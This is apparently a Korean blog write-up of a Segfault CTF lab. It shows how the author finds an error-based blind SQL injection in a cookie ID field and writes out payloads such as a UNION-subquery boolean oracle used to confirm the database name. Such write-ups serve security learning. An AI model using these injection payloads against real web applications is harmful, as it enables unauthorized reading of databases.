상세 컨텐츠

본문 제목

Segfault CTF - (8주 차) SQL Injection Point 4

컴퓨터/보안 - CTF문제

by 디멘터 2024. 6. 12. 18:22

본문

※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다.
(Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)


※ CTF - Capture The Flag
※ 문제 푸는 방법이 다양할 수도 있습니다.


SegFault CTF - SQL Injection Point 4

1. 목표 : flag를 찾으세요!

2. 실행

→ BurpSutie로 살펴본 결과 // [ Segfault CTF - (8주 차) SQL Injection Point 1 ] 참조

  • ① 쿠키에 ID 부분 SQLi Point
  • ② 검색 기능에 option_val 파라미터 SQLi Point
  • ③ 게시글 id URL파라미터에 SQLi Point

 
→ 3군데 SQLi point가 있었다.
→ 셋 다 SQL Injection 1에서 다루었고,
→ 갑자기 다시 생긴 ① 쿠키 ID 부분을 살펴보겠다.
 
→ t1234' and true #
 t1234' and false #
→ 두 공격의 차이가 없었다.(실패)

t1234' and true #
t1234' and false #

 
→ Error를 유도해 본다.

t1234'''

 
→ 에러가 떴다. 내용을 보여주는 에러는 아니고 그냥 에러만 알려 줬다.
 
우리가 필요한 것은 구문을 넣고 구문 조건에 따라 에러 결과가 바뀌어야 한다.
 
→ t1234' and (select 1 union select 2 where (1=1))#을 넣어본다.

t1234' and (select 1 union select 2 where (1=1))#

 
→ t1234' and (select 1 union select 2 where (1=2))#을 넣어본다.

t1234' and (select 1 union select 2 where (1=2))#

 
 
→ 참고로 SELECT 1 UNION SELECT 2 WHERE (1=1)이 이해가 안 된다면,
→ 아래 쿼리결과를 보면 된다.
 

해당 쿼리는 2 row 또는 1 row를 반환한다.

 
→ 2 row가 반환되는 상황에서는 에러가 발생하므로
→ t1234' and (select 1 union select 2 where (SQL문))# 해서 에러가 발생하면, SQL문은 '참'이다.
→ 혹시 WHERE 절에 1=1, true를 넣어도 되는 것 맞냐는 의문이 들면,
→ 예전 CTF문제, 로그인 Bypass에서 ID에 doldol' or '1'='1을 넣은 것과 같은 원리이다.
 
→ t1234' and (select 1 union select 2 where (database()='sqli_9'))#를 넣어본다.

t1234' and (select 1 union select 2 where (database()='sqli_9'))# 결과 DB error가 나왔으므로 DB이름은 sqli_9이다.

 
→ 반대의 경우도 한 번 확인해 본다.
→ t1234' and (select 1 union select 2 where (database()='sqli_999'))#를 넣어본다.
 

t1234' and (select 1 union select 2 where (database()='sqli_999'))# 를 넣어보니 결과가 떳으므로 DB이름은 slqi_999가 아니다.

 
→ 모든 것이 확실해졌으므로, Blind SQLi를 시도해 본다.
 
→ 이하 공격 방법은 많이 했으므로  [ Segfault CTF - (8주 차) SQL Injection Point 1 ] 참조하면 된다.
→ Table은 board, flagHere, member 이렇게 3개가 있었고
→ flagHere의 컬럼은 idx, flag가 있었다.
→ flag 속성의 값은 segfault{플래그} 1개가 있었다.

관련글 더보기